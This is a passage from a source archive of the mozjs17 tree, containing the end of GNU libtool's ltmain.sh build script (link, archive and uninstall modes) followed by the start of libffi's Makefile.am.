-L*) func_warning "\`-l' and \`-L' are ignored for objects" ;; esac test -n "$rpath" && \ func_warning "\`-rpath' is ignored for objects" test -n "$xrpath" && \ func_warning "\`-R' is ignored for objects" test -n "$vinfo" && \ func_warning "\`-version-info' is ignored for objects" test -n "$release" && \ func_warning "\`-release' is ignored for objects" case $output in *.lo) test -n "$objs$old_deplibs" && \ func_fatal_error "cannot build library object \`$output' from non-libtool objects" libobj=$output func_lo2o "$libobj" obj=$func_lo2o_result ;; *) libobj= obj="$output" ;; esac # Delete the old objects. $opt_dry_run || $RM $obj $libobj # Objects from convenience libraries. This assumes # single-version convenience libraries. Whenever we create # different ones for PIC/non-PIC, this we'll have to duplicate # the extraction. reload_conv_objs= gentop= # reload_cmds runs $LD directly, so let us get rid of # -Wl from whole_archive_flag_spec and hope we can get by with # turning comma into space.. wl= if test -n "$convenience"; then if test -n "$whole_archive_flag_spec"; then eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\" reload_conv_objs=$reload_objs\ `$ECHO "X$tmp_whole_archive_flags" | $Xsed -e 's|,| |g'` else gentop="$output_objdir/${obj}x" generated="$generated $gentop" func_extract_archives $gentop $convenience reload_conv_objs="$reload_objs $func_extract_archives_result" fi fi # Create the old-style object. reload_objs="$objs$old_deplibs "`$ECHO "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test output="$obj" func_execute_cmds "$reload_cmds" 'exit $?' # Exit if we aren't doing a library object file. if test -z "$libobj"; then if test -n "$gentop"; then func_show_eval '${RM}r "$gentop"' fi exit $EXIT_SUCCESS fi if test "$build_libtool_libs" != yes; then if test -n "$gentop"; then func_show_eval '${RM}r "$gentop"' fi # Create an invalid libtool object if no PIC, so that we don't # accidentally link it into a program. # $show "echo timestamp > $libobj" # $opt_dry_run || eval "echo timestamp > $libobj" || exit $? exit $EXIT_SUCCESS fi if test -n "$pic_flag" || test "$pic_mode" != default; then # Only do commands if we really have different PIC objects. reload_objs="$libobjs $reload_conv_objs" output="$libobj" func_execute_cmds "$reload_cmds" 'exit $?' fi if test -n "$gentop"; then func_show_eval '${RM}r "$gentop"' fi exit $EXIT_SUCCESS ;; prog) case $host in *cygwin*) func_stripname '' '.exe' "$output" output=$func_stripname_result.exe;; esac test -n "$vinfo" && \ func_warning "\`-version-info' is ignored for programs" test -n "$release" && \ func_warning "\`-release' is ignored for programs" test "$preload" = yes \ && test "$dlopen_support" = unknown \ && test "$dlopen_self" = unknown \ && test "$dlopen_self_static" = unknown && \ func_warning "\`LT_INIT([dlopen])' not used. Assuming no dlopen support." case $host in *-*-rhapsody* | *-*-darwin1.[012]) # On Rhapsody replace the C library is the System framework compile_deplibs=`$ECHO "X $compile_deplibs" | $Xsed -e 's/ -lc / System.ltframework /'` finalize_deplibs=`$ECHO "X $finalize_deplibs" | $Xsed -e 's/ -lc / System.ltframework /'` ;; esac case $host in *-*-darwin*) # Don't allow lazy linking, it breaks C++ global constructors # But is supposedly fixed on 10.4 or later (yay!). if test "$tagname" = CXX ; then case ${MACOSX_DEPLOYMENT_TARGET-10.0} in 10.[0123]) compile_command="$compile_command ${wl}-bind_at_load" finalize_command="$finalize_command ${wl}-bind_at_load" ;; esac fi # Time to change all our "foo.ltframework" stuff back to "-framework foo" compile_deplibs=`$ECHO "X $compile_deplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` finalize_deplibs=`$ECHO "X $finalize_deplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` ;; esac # move library search paths that coincide with paths to not yet # installed libraries to the beginning of the library search list new_libs= for path in $notinst_path; do case " $new_libs " in *" -L$path/$objdir "*) ;; *) case " $compile_deplibs " in *" -L$path/$objdir "*) new_libs="$new_libs -L$path/$objdir" ;; esac ;; esac done for deplib in $compile_deplibs; do case $deplib in -L*) case " $new_libs " in *" $deplib "*) ;; *) new_libs="$new_libs $deplib" ;; esac ;; *) new_libs="$new_libs $deplib" ;; esac done compile_deplibs="$new_libs" compile_command="$compile_command $compile_deplibs" finalize_command="$finalize_command $finalize_deplibs" if test -n "$rpath$xrpath"; then # If the user specified any rpath flags, then add them. for libdir in $rpath $xrpath; do # This is the magic to use -rpath. case "$finalize_rpath " in *" $libdir "*) ;; *) finalize_rpath="$finalize_rpath $libdir" ;; esac done fi # Now hardcode the library paths rpath= hardcode_libdirs= for libdir in $compile_rpath $finalize_rpath; do if test -n "$hardcode_libdir_flag_spec"; then if test -n "$hardcode_libdir_separator"; then if test -z "$hardcode_libdirs"; then hardcode_libdirs="$libdir" else # Just accumulate the unique libdirs. case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) ;; *) hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" ;; esac fi else eval flag=\"$hardcode_libdir_flag_spec\" rpath="$rpath $flag" fi elif test -n "$runpath_var"; then case "$perm_rpath " in *" $libdir "*) ;; *) perm_rpath="$perm_rpath $libdir" ;; esac fi case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) testbindir=`${ECHO} "$libdir" | ${SED} -e 's*/lib$*/bin*'` case :$dllsearchpath: in *":$libdir:"*) ;; ::) dllsearchpath=$libdir;; *) dllsearchpath="$dllsearchpath:$libdir";; esac case :$dllsearchpath: in *":$testbindir:"*) ;; ::) dllsearchpath=$testbindir;; *) dllsearchpath="$dllsearchpath:$testbindir";; esac ;; esac done # Substitute the hardcoded libdirs into the rpath. if test -n "$hardcode_libdir_separator" && test -n "$hardcode_libdirs"; then libdir="$hardcode_libdirs" eval rpath=\" $hardcode_libdir_flag_spec\" fi compile_rpath="$rpath" rpath= hardcode_libdirs= for libdir in $finalize_rpath; do if test -n "$hardcode_libdir_flag_spec"; then if test -n "$hardcode_libdir_separator"; then if test -z "$hardcode_libdirs"; then hardcode_libdirs="$libdir" else # Just accumulate the unique libdirs. case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) ;; *) hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" ;; esac fi else eval flag=\"$hardcode_libdir_flag_spec\" rpath="$rpath $flag" fi elif test -n "$runpath_var"; then case "$finalize_perm_rpath " in *" $libdir "*) ;; *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;; esac fi done # Substitute the hardcoded libdirs into the rpath. if test -n "$hardcode_libdir_separator" && test -n "$hardcode_libdirs"; then libdir="$hardcode_libdirs" eval rpath=\" $hardcode_libdir_flag_spec\" fi finalize_rpath="$rpath" if test -n "$libobjs" && test "$build_old_libs" = yes; then # Transform all the library objects into standard objects. compile_command=`$ECHO "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` finalize_command=`$ECHO "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` fi func_generate_dlsyms "$outputname" "@PROGRAM@" "no" # template prelinking step if test -n "$prelink_cmds"; then func_execute_cmds "$prelink_cmds" 'exit $?' fi wrappers_required=yes case $host in *cygwin* | *mingw* ) if test "$build_libtool_libs" != yes; then wrappers_required=no fi ;; *cegcc) # Disable wrappers for cegcc, we are cross compiling anyway. wrappers_required=no ;; *) if test "$need_relink" = no || test "$build_libtool_libs" != yes; then wrappers_required=no fi ;; esac if test "$wrappers_required" = no; then # Replace the output file specification. compile_command=`$ECHO "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` link_command="$compile_command$compile_rpath" # We have no uninstalled library dependencies, so finalize right now. exit_status=0 func_show_eval "$link_command" 'exit_status=$?' # Delete the generated files. if test -f "$output_objdir/${outputname}S.${objext}"; then func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"' fi exit $exit_status fi if test -n "$compile_shlibpath$finalize_shlibpath"; then compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command" fi if test -n "$finalize_shlibpath"; then finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command" fi compile_var= finalize_var= if test -n "$runpath_var"; then if test -n "$perm_rpath"; then # We should set the runpath_var. rpath= for dir in $perm_rpath; do rpath="$rpath$dir:" done compile_var="$runpath_var=\"$rpath\$$runpath_var\" " fi if test -n "$finalize_perm_rpath"; then # We should set the runpath_var. rpath= for dir in $finalize_perm_rpath; do rpath="$rpath$dir:" done finalize_var="$runpath_var=\"$rpath\$$runpath_var\" " fi fi if test "$no_install" = yes; then # We don't need to create a wrapper script. link_command="$compile_var$compile_command$compile_rpath" # Replace the output file specification. link_command=`$ECHO "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` # Delete the old output file. $opt_dry_run || $RM $output # Link the executable and exit func_show_eval "$link_command" 'exit $?' exit $EXIT_SUCCESS fi if test "$hardcode_action" = relink; then # Fast installation is not supported link_command="$compile_var$compile_command$compile_rpath" relink_command="$finalize_var$finalize_command$finalize_rpath" func_warning "this platform does not like uninstalled shared libraries" func_warning "\`$output' will be relinked during installation" else if test "$fast_install" != no; then link_command="$finalize_var$compile_command$finalize_rpath" if test "$fast_install" = yes; then relink_command=`$ECHO "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'` else # fast_install is set to needless relink_command= fi else link_command="$compile_var$compile_command$compile_rpath" relink_command="$finalize_var$finalize_command$finalize_rpath" fi fi # Replace the output file specification. link_command=`$ECHO "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'` # Delete the old output files. $opt_dry_run || $RM $output $output_objdir/$outputname $output_objdir/lt-$outputname func_show_eval "$link_command" 'exit $?' # Now create the wrapper script. func_verbose "creating $output" # Quote the relink command for shipping. if test -n "$relink_command"; then # Preserve any variables that may affect compiler behavior for var in $variables_saved_for_relink; do if eval test -z \"\${$var+set}\"; then relink_command="{ test -z \"\${$var+set}\" || $lt_unset $var || { $var=; export $var; }; }; $relink_command" elif eval var_value=\$$var; test -z "$var_value"; then relink_command="$var=; export $var; $relink_command" else func_quote_for_eval "$var_value" relink_command="$var=$func_quote_for_eval_result; export $var; $relink_command" fi done relink_command="(cd `pwd`; $relink_command)" relink_command=`$ECHO "X$relink_command" | $Xsed -e "$sed_quote_subst"` fi # Quote $ECHO for shipping. if test "X$ECHO" = "X$SHELL $progpath --fallback-echo"; then case $progpath in [\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";; *) qecho="$SHELL `pwd`/$progpath --fallback-echo";; esac qecho=`$ECHO "X$qecho" | $Xsed -e "$sed_quote_subst"` else qecho=`$ECHO "X$ECHO" | $Xsed -e "$sed_quote_subst"` fi # Only actually do things if not in dry run mode. $opt_dry_run || { # win32 will think the script is a binary if it has # a .exe suffix, so we strip it off here. case $output in *.exe) func_stripname '' '.exe' "$output" output=$func_stripname_result ;; esac # test for cygwin because mv fails w/o .exe extensions case $host in *cygwin*) exeext=.exe func_stripname '' '.exe' "$outputname" outputname=$func_stripname_result ;; *) exeext= ;; esac case $host in *cygwin* | *mingw* ) func_dirname_and_basename "$output" "" "." output_name=$func_basename_result output_path=$func_dirname_result cwrappersource="$output_path/$objdir/lt-$output_name.c" cwrapper="$output_path/$output_name.exe" $RM $cwrappersource $cwrapper trap "$RM $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 func_emit_cwrapperexe_src > $cwrappersource # The wrapper executable is built using the $host compiler, # because it contains $host paths and files. If cross- # compiling, it, like the target executable, must be # executed on the $host or under an emulation environment. $opt_dry_run || { $LTCC $LTCFLAGS -o $cwrapper $cwrappersource $STRIP $cwrapper } # Now, create the wrapper script for func_source use: func_ltwrapper_scriptname $cwrapper $RM $func_ltwrapper_scriptname_result trap "$RM $func_ltwrapper_scriptname_result; exit $EXIT_FAILURE" 1 2 15 $opt_dry_run || { # note: this script will not be executed, so do not chmod. if test "x$build" = "x$host" ; then $cwrapper --lt-dump-script > $func_ltwrapper_scriptname_result else func_emit_wrapper no > $func_ltwrapper_scriptname_result fi } ;; * ) $RM $output trap "$RM $output; exit $EXIT_FAILURE" 1 2 15 func_emit_wrapper no > $output chmod +x $output ;; esac } exit $EXIT_SUCCESS ;; esac # See if we need to build an old-fashioned archive. for oldlib in $oldlibs; do if test "$build_libtool_libs" = convenience; then oldobjs="$libobjs_save $symfileobj" addlibs="$convenience" build_libtool_libs=no else if test "$build_libtool_libs" = module; then oldobjs="$libobjs_save" build_libtool_libs=no else oldobjs="$old_deplibs $non_pic_objects" if test "$preload" = yes && test -f "$symfileobj"; then oldobjs="$oldobjs $symfileobj" fi fi addlibs="$old_convenience" fi if test -n "$addlibs"; then gentop="$output_objdir/${outputname}x" generated="$generated $gentop" func_extract_archives $gentop $addlibs oldobjs="$oldobjs $func_extract_archives_result" fi # Do each command in the archive commands. if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then cmds=$old_archive_from_new_cmds else # Add any objects from preloaded convenience libraries if test -n "$dlprefiles"; then gentop="$output_objdir/${outputname}x" generated="$generated $gentop" func_extract_archives $gentop $dlprefiles oldobjs="$oldobjs $func_extract_archives_result" fi # POSIX demands no paths to be encoded in archives. We have # to avoid creating archives with duplicate basenames if we # might have to extract them afterwards, e.g., when creating a # static archive out of a convenience library, or when linking # the entirety of a libtool archive into another (currently # not supported by libtool). if (for obj in $oldobjs do func_basename "$obj" $ECHO "$func_basename_result" done | sort | sort -uc >/dev/null 2>&1); then : else $ECHO "copying selected object files to avoid basename conflicts..." gentop="$output_objdir/${outputname}x" generated="$generated $gentop" func_mkdir_p "$gentop" save_oldobjs=$oldobjs oldobjs= counter=1 for obj in $save_oldobjs do func_basename "$obj" objbase="$func_basename_result" case " $oldobjs " in " ") oldobjs=$obj ;; *[\ /]"$objbase "*) while :; do # Make sure we don't pick an alternate name that also # overlaps. newobj=lt$counter-$objbase func_arith $counter + 1 counter=$func_arith_result case " $oldobjs " in *[\ /]"$newobj "*) ;; *) if test ! -f "$gentop/$newobj"; then break; fi ;; esac done func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj" oldobjs="$oldobjs $gentop/$newobj" ;; *) oldobjs="$oldobjs $obj" ;; esac done fi eval cmds=\"$old_archive_cmds\" func_len " $cmds" len=$func_len_result if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then cmds=$old_archive_cmds else # the command line is too long to link in one step, link in parts func_verbose "using piecewise archive linking..." save_RANLIB=$RANLIB RANLIB=: objlist= concat_cmds= save_oldobjs=$oldobjs oldobjs= # Is there a better way of finding the last object in the list? for obj in $save_oldobjs do last_oldobj=$obj done eval test_cmds=\"$old_archive_cmds\" func_len " $test_cmds" len0=$func_len_result len=$len0 for obj in $save_oldobjs do func_len " $obj" func_arith $len + $func_len_result len=$func_arith_result func_append objlist " $obj" if test "$len" -lt "$max_cmd_len"; then : else # the above command should be used before it gets too long oldobjs=$objlist if test "$obj" = "$last_oldobj" ; then RANLIB=$save_RANLIB fi test -z "$concat_cmds" || concat_cmds=$concat_cmds~ eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\" objlist= len=$len0 fi done RANLIB=$save_RANLIB oldobjs=$objlist if test "X$oldobjs" = "X" ; then eval cmds=\"\$concat_cmds\" else eval cmds=\"\$concat_cmds~\$old_archive_cmds\" fi fi fi func_execute_cmds "$cmds" 'exit $?' done test -n "$generated" && \ func_show_eval "${RM}r$generated" # Now create the libtool archive. case $output in *.la) old_library= test "$build_old_libs" = yes && old_library="$libname.$libext" func_verbose "creating $output" # Preserve any variables that may affect compiler behavior for var in $variables_saved_for_relink; do if eval test -z \"\${$var+set}\"; then relink_command="{ test -z \"\${$var+set}\" || $lt_unset $var || { $var=; export $var; }; }; $relink_command" elif eval var_value=\$$var; test -z "$var_value"; then relink_command="$var=; export $var; $relink_command" else func_quote_for_eval "$var_value" relink_command="$var=$func_quote_for_eval_result; export $var; $relink_command" fi done # Quote the link command for shipping. relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)" relink_command=`$ECHO "X$relink_command" | $Xsed -e "$sed_quote_subst"` if test "$hardcode_automatic" = yes ; then relink_command= fi # Only create the output if not a dry run. $opt_dry_run || { for installed in no yes; do if test "$installed" = yes; then if test -z "$install_libdir"; then break fi output="$output_objdir/$outputname"i # Replace all uninstalled libtool libraries with the installed ones newdependency_libs= for deplib in $dependency_libs; do case $deplib in *.la) func_basename "$deplib" name="$func_basename_result" eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` test -z "$libdir" && \ func_fatal_error "\`$deplib' is not a valid libtool archive" newdependency_libs="$newdependency_libs $libdir/$name" ;; *) newdependency_libs="$newdependency_libs $deplib" ;; esac done dependency_libs="$newdependency_libs" newdlfiles= for lib in $dlfiles; do case $lib in *.la) func_basename "$lib" name="$func_basename_result" eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` test -z "$libdir" && \ func_fatal_error "\`$lib' is not a valid libtool archive" newdlfiles="$newdlfiles $libdir/$name" ;; *) newdlfiles="$newdlfiles $lib" ;; esac done dlfiles="$newdlfiles" newdlprefiles= for lib in $dlprefiles; do case $lib in *.la) # Only pass preopened files to the pseudo-archive (for # eventual linking with the app. that links it) if we # didn't already link the preopened objects directly into # the library: func_basename "$lib" name="$func_basename_result" eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` test -z "$libdir" && \ func_fatal_error "\`$lib' is not a valid libtool archive" newdlprefiles="$newdlprefiles $libdir/$name" ;; esac done dlprefiles="$newdlprefiles" else newdlfiles= for lib in $dlfiles; do case $lib in [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; *) abs=`pwd`"/$lib" ;; esac newdlfiles="$newdlfiles $abs" done dlfiles="$newdlfiles" newdlprefiles= for lib in $dlprefiles; do case $lib in [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; *) abs=`pwd`"/$lib" ;; esac newdlprefiles="$newdlprefiles $abs" done dlprefiles="$newdlprefiles" fi $RM $output # place dlname in correct position for cygwin tdlname=$dlname case $host,$output,$installed,$module,$dlname in *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll | *cegcc*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;; esac $ECHO > $output "\ # $outputname - a libtool library file # Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION # # Please DO NOT delete this file! # It is necessary for linking the library. # The name that we can dlopen(3). dlname='$tdlname' # Names of this library. library_names='$library_names' # The name of the static archive. old_library='$old_library' # Linker flags that can not go in dependency_libs. inherited_linker_flags='$new_inherited_linker_flags' # Libraries that this one depends upon. dependency_libs='$dependency_libs' # Names of additional weak libraries provided by this library weak_library_names='$weak_libs' # Version information for $libname. current=$current age=$age revision=$revision # Is this an already installed library? installed=$installed # Should we warn about portability when linking against -modules? shouldnotlink=$module # Files to dlopen/dlpreopen dlopen='$dlfiles' dlpreopen='$dlprefiles' # Directory that this library needs to be installed in: libdir='$install_libdir'" if test "$installed" = no && test "$need_relink" = yes; then $ECHO >> $output "\ relink_command=\"$relink_command\"" fi done } # Do a symbolic link so that the libtool archive can be found in # LD_LIBRARY_PATH before the program is installed. func_show_eval '( cd "$output_objdir" && $RM "$outputname" && $LN_S "../$outputname" "$outputname" )' 'exit $?' ;; esac exit $EXIT_SUCCESS } { test "$mode" = link || test "$mode" = relink; } && func_mode_link ${1+"$@"} # func_mode_uninstall arg... func_mode_uninstall () { $opt_debug RM="$nonopt" files= rmforce= exit_status=0 # This variable tells wrapper scripts just to set variables rather # than running their programs. libtool_install_magic="$magic" for arg do case $arg in -f) RM="$RM $arg"; rmforce=yes ;; -*) RM="$RM $arg" ;; *) files="$files $arg" ;; esac done test -z "$RM" && \ func_fatal_help "you must specify an RM program" rmdirs= origobjdir="$objdir" for file in $files; do func_dirname "$file" "" "." dir="$func_dirname_result" if test "X$dir" = X.; then objdir="$origobjdir" else objdir="$dir/$origobjdir" fi func_basename "$file" name="$func_basename_result" test "$mode" = uninstall && objdir="$dir" # Remember objdir for removal later, being careful to avoid duplicates if test "$mode" = clean; then case " $rmdirs " in *" $objdir "*) ;; *) rmdirs="$rmdirs $objdir" ;; esac fi # Don't error if the file doesn't exist and rm -f was used. if { test -L "$file"; } >/dev/null 2>&1 || { test -h "$file"; } >/dev/null 2>&1 || test -f "$file"; then : elif test -d "$file"; then exit_status=1 continue elif test "$rmforce" = yes; then continue fi rmfiles="$file" case $name in *.la) # Possibly a libtool archive, so verify it. if func_lalib_p "$file"; then func_source $dir/$name # Delete the libtool libraries and symlinks. for n in $library_names; do rmfiles="$rmfiles $objdir/$n" done test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library" case "$mode" in clean) case " $library_names " in # " " in the beginning catches empty $dlname *" $dlname "*) ;; *) rmfiles="$rmfiles $objdir/$dlname" ;; esac test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i" ;; uninstall) if test -n "$library_names"; then # Do each command in the postuninstall commands. func_execute_cmds "$postuninstall_cmds" 'test "$rmforce" = yes || exit_status=1' fi if test -n "$old_library"; then # Do each command in the old_postuninstall commands. func_execute_cmds "$old_postuninstall_cmds" 'test "$rmforce" = yes || exit_status=1' fi # FIXME: should reinstall the best remaining shared library. ;; esac fi ;; *.lo) # Possibly a libtool object, so verify it. if func_lalib_p "$file"; then # Read the .lo file func_source $dir/$name # Add PIC object to the list of files to remove. if test -n "$pic_object" && test "$pic_object" != none; then rmfiles="$rmfiles $dir/$pic_object" fi # Add non-PIC object to the list of files to remove. if test -n "$non_pic_object" && test "$non_pic_object" != none; then rmfiles="$rmfiles $dir/$non_pic_object" fi fi ;; *) if test "$mode" = clean ; then noexename=$name case $file in *.exe) func_stripname '' '.exe' "$file" file=$func_stripname_result func_stripname '' '.exe' "$name" noexename=$func_stripname_result # $file with .exe has already been added to rmfiles, # add $file without .exe rmfiles="$rmfiles $file" ;; esac # Do a test to see if this is a libtool program. if func_ltwrapper_p "$file"; then if func_ltwrapper_executable_p "$file"; then func_ltwrapper_scriptname "$file" relink_command= func_source $func_ltwrapper_scriptname_result rmfiles="$rmfiles $func_ltwrapper_scriptname_result" else relink_command= func_source $dir/$noexename fi # note $name still contains .exe if it was in $file originally # as does the version of $file that was added into $rmfiles rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}" if test "$fast_install" = yes && test -n "$relink_command"; then rmfiles="$rmfiles $objdir/lt-$name" fi if test "X$noexename" != "X$name" ; then rmfiles="$rmfiles $objdir/lt-${noexename}.c" fi fi fi ;; esac func_show_eval "$RM $rmfiles" 'exit_status=1' done objdir="$origobjdir" # Try to remove the ${objdir}s in the directories where we deleted files for dir in $rmdirs; do if test -d "$dir"; then func_show_eval "rmdir $dir >/dev/null 2>&1" fi done exit $exit_status } { test "$mode" = uninstall || test "$mode" = clean; } && func_mode_uninstall ${1+"$@"} test -z "$mode" && { help="$generic_help" func_fatal_help "you must specify a MODE" } test -z "$exec_cmd" && \ func_fatal_help "invalid operation mode \`$mode'" if test -n "$exec_cmd"; then eval exec "$exec_cmd" exit $EXIT_FAILURE fi exit $exit_status # The TAGs below are defined such that we never get into a situation # in which we disable both kinds of libraries. Given conflicting # choices, we go for a static library, that is the most portable, # since we can't tell whether shared libraries were disabled because # the user asked for that or because the platform doesn't support # them. This is particularly important on AIX, because we don't # support having both static and shared libraries enabled at the same # time on that platform, so we default to a shared-only configuration. # If a disable-shared tag is given, we'll fallback to a static-only # configuration. But we'll never go from static-only to shared-only. # ### BEGIN LIBTOOL TAG CONFIG: disable-shared build_libtool_libs=no build_old_libs=yes # ### END LIBTOOL TAG CONFIG: disable-shared # ### BEGIN LIBTOOL TAG CONFIG: disable-static build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac` # ### END LIBTOOL TAG CONFIG: disable-static # Local Variables: # mode:shell-script # sh-indentation:2 # End: # vi:sw=2 mozjs17.0.0/js/src/ctypes/libffi/Makefile.am0000664000175000017500000001403012106270662020577 0ustar sstanglsstangl## Process this with automake to create Makefile.in AUTOMAKE_OPTIONS = foreign subdir-objects SUBDIRS = include testsuite man EXTRA_DIST = LICENSE ChangeLog.v1 ChangeLog.libgcj configure.host \ src/alpha/ffi.c src/alpha/osf.S src/alpha/ffitarget.h \ src/arm/ffi.c src/arm/sysv.S src/arm/ffitarget.h \ src/avr32/ffi.c src/avr32/sysv.S src/avr32/ffitarget.h \ src/cris/ffi.c src/cris/sysv.S src/cris/ffitarget.h \ src/ia64/ffi.c src/ia64/ffitarget.h src/ia64/ia64_flags.h \ src/ia64/unix.S \ src/mips/ffi.c src/mips/n32.S src/mips/o32.S \ src/mips/ffitarget.h \ src/m32r/ffi.c src/m32r/sysv.S src/m32r/ffitarget.h \ src/m68k/ffi.c src/m68k/sysv.S src/m68k/ffitarget.h \ src/powerpc/ffi.c src/powerpc/sysv.S \ src/powerpc/linux64.S src/powerpc/linux64_closure.S \ src/powerpc/ppc_closure.S src/powerpc/asm.h \ src/powerpc/aix.S src/powerpc/darwin.S \ src/powerpc/aix_closure.S src/powerpc/darwin_closure.S \ src/powerpc/ffi_darwin.c src/powerpc/ffitarget.h \ src/s390/ffi.c src/s390/sysv.S src/s390/ffitarget.h \ src/sh/ffi.c src/sh/sysv.S src/sh/ffitarget.h \ src/sh64/ffi.c src/sh64/sysv.S src/sh64/ffitarget.h \ src/sparc/v8.S src/sparc/v9.S src/sparc/ffitarget.h \ src/sparc/ffi.c src/x86/darwin64.S \ src/x86/ffi.c src/x86/sysv.S src/x86/win32.S src/x86/win64.S \ src/x86/darwin.S src/x86/freebsd.S \ src/x86/ffi64.c src/x86/unix64.S src/x86/ffitarget.h \ src/pa/ffitarget.h src/pa/ffi.c src/pa/linux.S src/pa/hpux32.S \ src/frv/ffi.c src/frv/eabi.S src/frv/ffitarget.h src/dlmalloc.c \ libtool-version ChangeLog.libffi m4/libtool.m4 \ m4/lt~obsolete.m4 m4/ltoptions.m4 m4/ltsugar.m4 m4/ltversion.m4 info_TEXINFOS = doc/libffi.texi ## ################################################################ ## ## This section is for make and multilib madness. ## # Work around what appears to be a GNU make bug handling MAKEFLAGS # values defined in terms of make variables, as is the case for CC and # friends when we are called from the top level Makefile. AM_MAKEFLAGS = \ "AR_FLAGS=$(AR_FLAGS)" \ "CC_FOR_BUILD=$(CC_FOR_BUILD)" \ "CFLAGS=$(CFLAGS)" \ "CXXFLAGS=$(CXXFLAGS)" \ "CFLAGS_FOR_BUILD=$(CFLAGS_FOR_BUILD)" \ "CFLAGS_FOR_TARGET=$(CFLAGS_FOR_TARGET)" \ "INSTALL=$(INSTALL)" \ "INSTALL_DATA=$(INSTALL_DATA)" \ "INSTALL_PROGRAM=$(INSTALL_PROGRAM)" \ "INSTALL_SCRIPT=$(INSTALL_SCRIPT)" \ "JC1FLAGS=$(JC1FLAGS)" \ "LDFLAGS=$(LDFLAGS)" \ "LIBCFLAGS=$(LIBCFLAGS)" \ "LIBCFLAGS_FOR_TARGET=$(LIBCFLAGS_FOR_TARGET)" \ "MAKE=$(MAKE)" \ "MAKEINFO=$(MAKEINFO) $(MAKEINFOFLAGS)" \ "PICFLAG=$(PICFLAG)" \ "PICFLAG_FOR_TARGET=$(PICFLAG_FOR_TARGET)" \ "RUNTESTFLAGS=$(RUNTESTFLAGS)" \ "SHELL=$(SHELL)" \ "exec_prefix=$(exec_prefix)" \ "infodir=$(infodir)" \ "libdir=$(libdir)" \ "mandir=$(mandir)" \ "prefix=$(prefix)" \ "AR=$(AR)" \ "AS=$(AS)" \ "CC=$(CC)" \ "CXX=$(CXX)" \ "LD=$(LD)" \ "NM=$(NM)" \ "RANLIB=$(RANLIB)" \ "DESTDIR=$(DESTDIR)" MAKEOVERRIDES= ACLOCAL_AMFLAGS=$(ACLOCAL_AMFLAGS) -I m4 lib_LTLIBRARIES = libffi.la noinst_LTLIBRARIES = libffi_convenience.la libffi_la_SOURCES = src/debug.c src/prep_cif.c src/types.c \ src/raw_api.c src/java_raw_api.c src/closures.c pkgconfigdir = $(libdir)/pkgconfig pkgconfig_DATA = libffi.pc nodist_libffi_la_SOURCES = if MIPS nodist_libffi_la_SOURCES += src/mips/ffi.c src/mips/o32.S src/mips/n32.S endif if X86 nodist_libffi_la_SOURCES += src/x86/ffi.c src/x86/sysv.S endif if X86_FREEBSD nodist_libffi_la_SOURCES += src/x86/ffi.c src/x86/freebsd.S endif if X86_WIN32 nodist_libffi_la_SOURCES += src/x86/ffi.c src/x86/win32.S endif if X86_WIN64 nodist_libffi_la_SOURCES += src/x86/ffi.c src/x86/win64.S endif if X86_DARWIN nodist_libffi_la_SOURCES += src/x86/ffi.c src/x86/darwin.S src/x86/ffi64.c src/x86/darwin64.S endif if SPARC nodist_libffi_la_SOURCES += src/sparc/ffi.c src/sparc/v8.S src/sparc/v9.S endif if ALPHA nodist_libffi_la_SOURCES += src/alpha/ffi.c src/alpha/osf.S endif if IA64 nodist_libffi_la_SOURCES += src/ia64/ffi.c src/ia64/unix.S endif if M32R nodist_libffi_la_SOURCES += src/m32r/sysv.S src/m32r/ffi.c endif if M68K nodist_libffi_la_SOURCES += src/m68k/ffi.c src/m68k/sysv.S endif if POWERPC nodist_libffi_la_SOURCES += src/powerpc/ffi.c src/powerpc/sysv.S src/powerpc/ppc_closure.S src/powerpc/linux64.S src/powerpc/linux64_closure.S endif if POWERPC_AIX nodist_libffi_la_SOURCES += src/powerpc/ffi_darwin.c src/powerpc/aix.S 